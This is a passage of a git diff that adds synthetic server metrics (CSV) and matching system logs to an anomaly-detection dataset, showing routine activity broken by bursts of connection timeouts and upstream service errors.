batch of 100 messages. +Jul 02 10:02:20 web-server-1 webapp[1123]: DEBUG: Cache hit for key: user_profile_123 +Jul 02 10:02:30 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:02:35 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:02:45 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:02:50 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:02:55 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:02:55 web-server-1 webapp[1123]: INFO: GET /api/v1/users/list HTTP/1.1 200 OK +Jul 02 10:03:00 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:03:15 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:03:20 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:03:25 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:03:30 web-server-1 webapp[1123]: INFO: User 'admin' logged in from 192.168.1.100 +Jul 02 10:03:40 web-server-1 webapp[1123]: WARN: Read timeout occurred while fetching data from 'user-database' +Jul 02 10:03:50 web-server-1 webapp[1123]: ERROR: Connection reset by peer: 10.0.5.23:8080 +Jul 02 10:04:00 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:04:05 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:04:05 web-server-1 webapp[1123]: INFO: Successfully processed batch of 100 messages. +Jul 02 10:04:15 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:04:40 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:04:40 web-server-1 webapp[1123]: INFO: Successfully processed batch of 100 messages. +Jul 02 10:04:50 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:04:55 web-server-1 webapp[1123]: WARN: Read timeout occurred while fetching data from 'user-database' +Jul 02 10:05:00 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:05:10 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:05:15 web-server-1 webapp[1123]: DEBUG: Cache hit for key: user_profile_123 +Jul 02 10:05:20 web-server-1 webapp[1123]: WARN: Read timeout occurred while fetching data from 'user-database' +Jul 02 10:05:25 web-server-1 webapp[1123]: ERROR: Connection to upstream service 'payment-gateway' timed out after 3000ms +Jul 02 10:05:30 web-server-1 webapp[1123]: ERROR: Upstream service unavailable, request failed for GET /api/v1/inventory +Jul 02 10:05:35 web-server-1 webapp[1123]: CRITICAL: Failed to write to replica node 'db-replica-2': Connection timeout +Jul 02 10:05:45 web-server-1 webapp[1123]: WARN: Read timeout occurred while fetching data from 'user-database' +Jul 02 10:05:50 web-server-1 webapp[1123]: INFO: User 'admin' logged in from 192.168.1.100 +Jul 02 10:06:25 web-server-1 webapp[1123]: INFO: Starting background job: ProcessDailyReports +Jul 02 10:07:00 web-server-1 webapp[1123]: DEBUG: Cache hit for key: user_profile_123 diff --git a/anom_dataset/scenario_7/anom_7_14.csv b/anom_dataset/scenario_7/anom_7_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..58c188dca6201b0992cb050f14cad332cbfbc011 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,10.141349902494257,41.948374889506965,25.4002060559387,1.0998944276690705,1.1520755433869372 +2025-07-02T11:00:05Z,13.179351885621513,39.033549556920285,25.091385304780076,0.9424340434825914,1.4791049566109933 +2025-07-02T11:00:10Z,13.247939383348214,39.535741309592794,23.394792916150763,1.1699000961229522,1.4825365496880611 +2025-07-02T11:00:15Z,15.565150193189544,40.78936956657722,23.30090781824135,1.1102394013445283,1.1923639151086936 +2025-07-02T11:00:20Z,12.851013363926642,41.643367864051186,24.657130762759788,1.2604482288315997,1.8495547269614712 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/api/v1/health" 200 +Jul 02 11:00:20 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:00:40 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:00:50 database-connector[3344]: INFO Connection pool health check OK +Jul 02 11:01:00 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:01:20 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:01:40 database-connector[3344]: INFO Connection pool health check OK +Jul 02 11:01:40 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:02:00 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:02:20 web-server[1122]: INFO 10.1.1.5 - "GET /api/v1/health" 200 +Jul 02 11:02:30 api-gateway[5566]: ERROR Connection reset by peer: 10.2.3.4:8080 +Jul 02 11:02:45 api-gateway[5566]: ERROR Connection to payment-gateway timed out +Jul 02 11:02:55 web-server[1122]: INFO 10.1.1.8 - "GET /api/v1/data" 200 +Jul 02 11:03:00 api-gateway[5566]: WARN Read timeout while fetching data from user-service +Jul 02 11:03:15 api-gateway[5566]: ERROR Upstream service unavailable: connection error +Jul 02 11:03:30 api-gateway[5566]: ERROR Connection reset by peer: 10.2.3.4:8080 +Jul 02 11:03:30 web-server[1122]: INFO 10.1.1.8 - "GET /api/v1/data" 200 +Jul 02 11:03:45 api-gateway[5566]: ERROR Connection reset by peer: 10.2.3.4:8080 +Jul 02 11:04:00 api-gateway[5566]: ERROR Connection reset by peer: 10.2.3.4:8080 +Jul 02 11:04:05 web-server[1122]: INFO 10.1.1.8 - "GET /api/v1/data" 200 +Jul 02 11:04:15 api-gateway[5566]: ERROR Connection to payment-gateway timed out +Jul 02 11:04:30 api-gateway[5566]: WARN Read timeout while fetching data from user-service +Jul 02 11:04:40 web-server[1122]: INFO 10.1.1.8 - "GET /api/v1/data" 200 +Jul 02 11:04:45 api-gateway[5566]: ERROR Connection reset by peer: 10.2.3.4:8080 +Jul 02 11:05:00 scheduler[7788]: INFO Job 'data-backup' completed successfully +Jul 02 11:05:00 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 +Jul 02 11:05:25 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 +Jul 02 11:05:50 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 +Jul 02 11:06:00 scheduler[7788]: INFO Job 'data-backup' completed successfully +Jul 02 11:06:15 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 +Jul 02 11:06:40 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 +Jul 02 11:07:00 scheduler[7788]: INFO Job 'data-backup' completed successfully +Jul 02 11:07:05 web-server[1122]: INFO 10.1.1.5 - "POST /api/v1/update" 200 diff --git a/anom_dataset/scenario_7/anom_7_15.csv b/anom_dataset/scenario_7/anom_7_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..261ec99a0eaa3107805d8e0600d79d1eb1419944 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,18.12,40.0,21.42,1.11,1.57 +2025-08-22T14:00:05Z,16.78,40.0,21.38,1.14,1.24 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+2025-08-22T14:06:50Z,15.51,64.59,26.26,1.43,1.62 +2025-08-22T14:06:55Z,13.16,65.31,25.14,1.16,1.62 +2025-08-22T14:07:00Z,12.08,64.05,28.12,0.94,1.21 +2025-08-22T14:07:05Z,17.81,65.12,28.76,0.89,1.32 +2025-08-22T14:07:10Z,17.13,63.35,25.24,0.92,1.29 +2025-08-22T14:07:15Z,14.98,64.68,24.48,1.35,1.47 +2025-08-22T14:07:20Z,13.23,65.79,26.44,1.25,1.29 +2025-08-22T14:07:25Z,13.95,63.57,28.33,1.17,1.86 diff --git a/anom_dataset/scenario_7/anom_7_15.log b/anom_dataset/scenario_7/anom_7_15.log new file mode 100644 index 0000000000000000000000000000000000000000..53011a3eccbc7809d2753eec9c45709dd76a3121 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_15.log @@ -0,0 +1,118 @@ +Aug 22 14:00:01 systemd[1]: Started Session 3326 of user ubuntu. +Aug 22 14:00:07 sshd[16628]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:00:11 kubelet[6950]: INFO Successfully probed container metrics-collector +Aug 22 14:00:17 nginx[4854]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:00:21 kubelet[12914]: INFO routine sync completed for pod web-app-clone +Aug 22 14:00:27 cron[27625]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:00:32 systemd[1]: Started Session 26318 of user ubuntu. +Aug 22 14:00:36 sshd[21547]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:00:42 kubelet[16213]: INFO Successfully probed container metrics-collector +Aug 22 14:00:47 nginx[8368]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:00:51 kubelet[14403]: INFO routine sync completed for pod web-app-clone +Aug 22 14:00:56 cron[7137]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:01:01 systemd[1]: Started Session 21039 of user ubuntu. +Aug 22 14:01:06 sshd[6330]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:01:12 kubelet[4106]: INFO Successfully probed container metrics-collector +Aug 22 14:01:16 nginx[23800]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:01:22 kubelet[2988]: INFO routine sync completed for pod web-app-clone +Aug 22 14:01:27 cron[11608]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:01:32 systemd[1]: Started Session 21766 of user ubuntu. +Aug 22 14:01:36 sshd[17612]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:01:41 kubelet[15260]: INFO Successfully probed container metrics-collector +Aug 22 14:01:47 nginx[14558]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:01:51 kubelet[17747]: INFO routine sync completed for pod web-app-clone +Aug 22 14:01:57 cron[13082]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:02:02 systemd[1]: Started Session 15719 of user ubuntu. +Aug 22 14:02:07 sshd[18886]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:02:12 kubelet[18116]: INFO Successfully probed container metrics-collector +Aug 22 14:02:17 nginx[10215]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:02:22 kubelet[2432]: INFO routine sync completed for pod web-app-clone +Aug 22 14:02:26 cron[16294]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:02:31 systemd[1]: Started Session 13803 of user ubuntu. +Aug 22 14:02:36 sshd[21726]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:02:38 api-gateway[36644]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:02:41 kubelet[20276]: INFO Successfully probed container metrics-collector +Aug 22 14:02:43 app-server[32507]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:02:46 nginx[20106]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:02:49 app-server[40964]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:02:51 kubelet[18232]: INFO routine sync completed for pod web-app-clone +Aug 22 14:02:54 kernel:[41088]: net_ratelimit: 3 callbacks suppressed +Aug 22 14:02:56 cron[23292]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:03:01 systemd[1]: Started Session 20164 of user ubuntu. +Aug 22 14:03:03 app-server[41488]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:03:07 sshd[25295]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:03:11 kubelet[21138]: INFO Successfully probed container metrics-collector +Aug 22 14:03:14 app-server[36456]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:03:16 nginx[24577]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:03:22 kubelet[14443]: INFO routine sync completed for pod web-app-clone +Aug 22 14:03:26 cron[6362]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:03:32 systemd[1]: Started Session 20999 of user ubuntu. +Aug 22 14:03:33 api-gateway[39989]: WARN Request to 'order-service' failed, retrying (1/3)... +Aug 22 14:03:37 sshd[7621]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:03:38 api-gateway[40918]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:03:42 kubelet[25185]: INFO Successfully probed container metrics-collector +Aug 22 14:03:43 app-server[36040]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:03:47 nginx[27734]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:03:48 app-server[44896]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:03:51 kubelet[24234]: INFO routine sync completed for pod web-app-clone +Aug 22 14:03:54 api-gateway[40502]: WARN Request to 'order-service' failed, retrying (1/3)... +Aug 22 14:03:56 cron[14200]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:04:02 systemd[1]: Started Session 10344 of user ubuntu. +Aug 22 14:04:03 api-gateway[34420]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:04:06 sshd[25655]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:04:11 kubelet[24835]: INFO Successfully probed container metrics-collector +Aug 22 14:04:14 api-gateway[41222]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:04:16 nginx[18924]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:04:18 kernel:[43618]: net_ratelimit: 3 callbacks suppressed +Aug 22 14:04:21 kubelet[15495]: INFO routine sync completed for pod web-app-clone +Aug 22 14:04:24 api-gateway[41289]: WARN Request to 'order-service' failed, retrying (1/3)... +Aug 22 14:04:27 cron[18235]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:04:29 api-gateway[34003]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:04:31 systemd[1]: Started Session 20872 of user ubuntu. +Aug 22 14:04:34 app-server[43578]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:04:37 sshd[22530]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:04:38 api-gateway[35107]: WARN Upstream service 'user-service' returned 504: Read timeout after 3000ms +Aug 22 14:04:41 kubelet[3183]: INFO Successfully probed container metrics-collector +Aug 22 14:04:44 app-server[34976]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:04:46 nginx[25247]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:04:51 kubelet[5169]: INFO routine sync completed for pod web-app-clone +Aug 22 14:04:54 app-server[40837]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:04:57 cron[16158]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:04:59 kernel:[41868]: net_ratelimit: 3 callbacks suppressed +Aug 22 14:05:02 systemd[1]: Started Session 29059 of user ubuntu. +Aug 22 14:05:06 sshd[16564]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:05:09 app-server[35756]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:05:11 kubelet[2750]: INFO Successfully probed container metrics-collector +Aug 22 14:05:17 nginx[25407]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:05:18 app-server[42772]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:05:21 kubelet[17331]: INFO routine sync completed for pod web-app-clone +Aug 22 14:05:23 kernel:[37247]: net_ratelimit: 3 callbacks suppressed +Aug 22 14:05:27 cron[22973]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:05:29 api-gateway[40039]: WARN Request to 'order-service' failed, retrying (1/3)... +Aug 22 14:05:31 systemd[1]: Started Session 28569 of user ubuntu. +Aug 22 14:05:34 api-gateway[38437]: WARN Request to 'order-service' failed, retrying (1/3)... +Aug 22 14:05:36 sshd[10653]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:05:42 kubelet[25270]: INFO Successfully probed container metrics-collector +Aug 22 14:05:44 app-server[35056]: ERROR Connection timeout while connecting to database on 10.0.1.5:5432 +Aug 22 14:05:46 nginx[28901]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:05:48 app-server[39953]: ERROR Connection reset by peer while fetching data from cache-service +Aug 22 14:05:52 kubelet[19160]: INFO routine sync completed for pod web-app-clone +Aug 22 14:05:56 cron[22680]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:06:01 systemd[1]: Started Session 10708 of user ubuntu. +Aug 22 14:06:07 sshd[24049]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:06:12 kubelet[16626]: INFO Successfully probed container metrics-collector +Aug 22 14:06:17 nginx[5911]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:06:21 kubelet[7143]: INFO routine sync completed for pod web-app-clone +Aug 22 14:06:27 cron[9534]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:06:32 systemd[1]: Started Session 24327 of user ubuntu. +Aug 22 14:06:36 sshd[26013]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:06:42 kubelet[17655]: INFO Successfully probed container metrics-collector +Aug 22 14:06:47 nginx[16992]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:06:52 kubelet[21074]: INFO routine sync completed for pod web-app-clone +Aug 22 14:06:57 cron[14216]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:07:01 systemd[1]: Started Session 8236 of user ubuntu. +Aug 22 14:07:06 sshd[20620]: Accepted publickey for ubuntu from 192.168.1.105 port 55234 ssh2 +Aug 22 14:07:11 kubelet[16503]: INFO Successfully probed container metrics-collector +Aug 22 14:07:16 nginx[22896]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 14:07:22 kubelet[12914]: INFO routine sync completed for pod web-app-clone +Aug 22 14:07:26 cron[5754]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) diff --git a/anom_dataset/scenario_7/anom_7_16.csv b/anom_dataset/scenario_7/anom_7_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..234480ca233cd9bcfd6a81fc5e47468d2d257e83 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_16.csv @@ -0,0 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+2025-08-22T10:07:20Z,17.842921166084302,47.145443981395466,28.373991778418745,0.9373045339998595,1.3203787002832779 +2025-08-22T10:07:25Z,11.715596789870926,46.20282143479763,28.512261984654216,0.9636062996931871,0.8797138830457807 diff --git a/anom_dataset/scenario_7/anom_7_16.log b/anom_dataset/scenario_7/anom_7_16.log new file mode 100644 index 0000000000000000000000000000000000000000..6b819855d88871beb6e8b9f67007041d20a0cd63 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_16.log @@ -0,0 +1,72 @@ +Aug 22 10:00:00 db-connector[4512]: INFO Connection pool health check successful. +Aug 22 10:00:00 systemd[1]: Started Session 0 of user app-user. +Aug 22 10:00:00 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:00:25 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:00:35 systemd[1]: Started Session 7 of user app-user. +Aug 22 10:00:50 db-connector[4512]: INFO Connection pool health check successful. +Aug 22 10:00:50 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:01:10 systemd[1]: Started Session 14 of user app-user. +Aug 22 10:01:15 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:01:40 db-connector[4512]: INFO Connection pool health check successful. +Aug 22 10:01:40 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:01:45 systemd[1]: Started Session 21 of user app-user. +Aug 22 10:02:05 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:02:20 systemd[1]: Started Session 28 of user app-user. +Aug 22 10:02:30 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:02:32 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:02:35 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:02:40 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 22 10:02:42 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:02:45 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:02:50 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:02:51 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:02:55 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:03:00 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:03:01 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:03:05 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:03:10 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:03:13 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:03:15 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:03:20 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 22 10:03:21 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:03:25 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:03:30 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:03:32 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:03:35 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:03:40 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:03:41 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:03:45 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:03:50 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:03:53 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:03:55 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:04:00 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 22 10:04:03 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:04:05 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:04:10 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:11 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:04:15 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:04:20 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:22 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:04:25 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:30 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:04:33 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:35 api-gateway[3321]: WARN High latency detected for outbound requests to notification-service +Aug 22 10:04:40 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 22 10:04:42 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:45 api-gateway[3321]: ERROR Connection reset by peer for worker-node-12 +Aug 22 10:04:50 api-gateway[3321]: WARN Read timeout while fetching user data from cache-service +Aug 22 10:04:51 api-gateway[3321]: ERROR Connection timeout while connecting to payment-gateway +Aug 22 10:04:55 api-gateway[3321]: ERROR Upstream service unavailable: timeout +Aug 22 10:05:00 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:05:15 db-connector[4512]: INFO Re-establishing connection to database. +Aug 22 10:05:25 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:05:50 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:06:00 db-connector[4512]: INFO Re-establishing connection to database. +Aug 22 10:06:15 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:06:40 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Aug 22 10:06:45 db-connector[4512]: INFO Re-establishing connection to database. +Aug 22 10:07:05 web-server[1123]: GET /api/data HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_17.csv b/anom_dataset/scenario_7/anom_7_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..f96546c6352726fe91262bafa49f75531b85c5dd --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,16.75,38.82,21.65,1.6,1.81 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+2025-07-02T11:01:45Z,19.49,40.88,27.29,1.26,1.61 +2025-07-02T11:01:50Z,15.76,40.46,26.99,1.5,1.83 +2025-07-02T11:01:55Z,16.31,38.83,27.67,1.41,1.57 +2025-07-02T11:02:00Z,12.73,39.61,25.56,1.27,1.92 +2025-07-02T11:02:05Z,13.51,39.13,22.26,1.34,1.82 +2025-07-02T11:02:10Z,13.73,42.74,30.01,1.78,2.07 +2025-07-02T11:02:15Z,14.9,41.17,23.81,1.41,1.76 +2025-07-02T11:02:20Z,18.01,38.01,29.84,1.88,1.8 +2025-07-02T11:02:25Z,13.0,39.45,24.24,1.1,1.88 +2025-07-02T11:02:30Z,22.78,42.01,27.85,0.0,0.0 +2025-07-02T11:02:35Z,23.57,34.65,22.58,0.0,0.57 +2025-07-02T11:02:40Z,23.58,42.14,28.81,0.4,0.46 +2025-07-02T11:02:45Z,21.16,37.84,17.35,1.16,0.53 +2025-07-02T11:02:50Z,23.36,38.41,29.07,0.66,1.11 +2025-07-02T11:02:55Z,28.3,44.25,30.35,0.0,1.69 +2025-07-02T11:03:00Z,25.84,41.56,24.21,0.0,0.0 +2025-07-02T11:03:05Z,29.12,40.97,23.74,0.0,1.37 +2025-07-02T11:03:10Z,24.61,44.41,23.12,1.26,0.27 +2025-07-02T11:03:15Z,24.41,38.93,21.97,0.25,1.27 +2025-07-02T11:03:20Z,27.69,43.75,25.57,0.8,0.75 +2025-07-02T11:03:25Z,18.79,43.23,18.91,0.1,0.58 +2025-07-02T11:03:30Z,27.29,43.22,27.37,0.0,1.2 +2025-07-02T11:03:35Z,28.54,42.0,30.22,0.0,0.01 +2025-07-02T11:03:40Z,20.98,46.58,24.11,0.35,0.74 +2025-07-02T11:03:45Z,26.85,46.89,21.52,0.0,0.89 +2025-07-02T11:03:50Z,24.55,44.54,27.29,0.37,0.0 +2025-07-02T11:03:55Z,25.26,49.88,27.7,0.46,0.0 +2025-07-02T11:04:00Z,24.52,45.66,29.39,0.0,0.38 +2025-07-02T11:04:05Z,29.85,49.25,26.64,0.0,1.47 +2025-07-02T11:04:10Z,25.48,45.9,26.97,0.0,0.22 +2025-07-02T11:04:15Z,27.9,48.14,21.73,1.04,0.84 +2025-07-02T11:04:20Z,27.87,48.6,22.87,0.55,1.17 +2025-07-02T11:04:25Z,22.22,48.57,26.36,0.0,0.54 +2025-07-02T11:04:30Z,26.24,51.04,25.54,0.01,0.0 +2025-07-02T11:04:35Z,24.93,51.02,28.25,0.58,0.45 +2025-07-02T11:04:40Z,23.17,51.25,26.24,0.0,0.0 +2025-07-02T11:04:45Z,20.47,52.37,21.28,0.68,0.0 +2025-07-02T11:04:50Z,31.3,47.59,28.28,0.36,0.4 +2025-07-02T11:04:55Z,26.57,52.67,22.32,0.26,1.46 +2025-07-02T11:05:00Z,24.5,53.79,22.07,0.37,1.08 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+2025-07-02T11:06:45Z,17.85,39.42,28.48,2.26,1.62 +2025-07-02T11:06:50Z,13.98,39.89,24.67,1.4,2.07 +2025-07-02T11:06:55Z,12.22,40.26,27.18,1.67,2.16 +2025-07-02T11:07:00Z,17.98,40.59,25.44,1.63,1.73 +2025-07-02T11:07:05Z,10.94,39.64,28.32,1.66,1.65 +2025-07-02T11:07:10Z,11.96,40.34,22.28,1.37,1.78 +2025-07-02T11:07:15Z,17.97,43.55,28.15,1.28,1.7 +2025-07-02T11:07:20Z,15.23,43.48,26.86,1.54,1.9 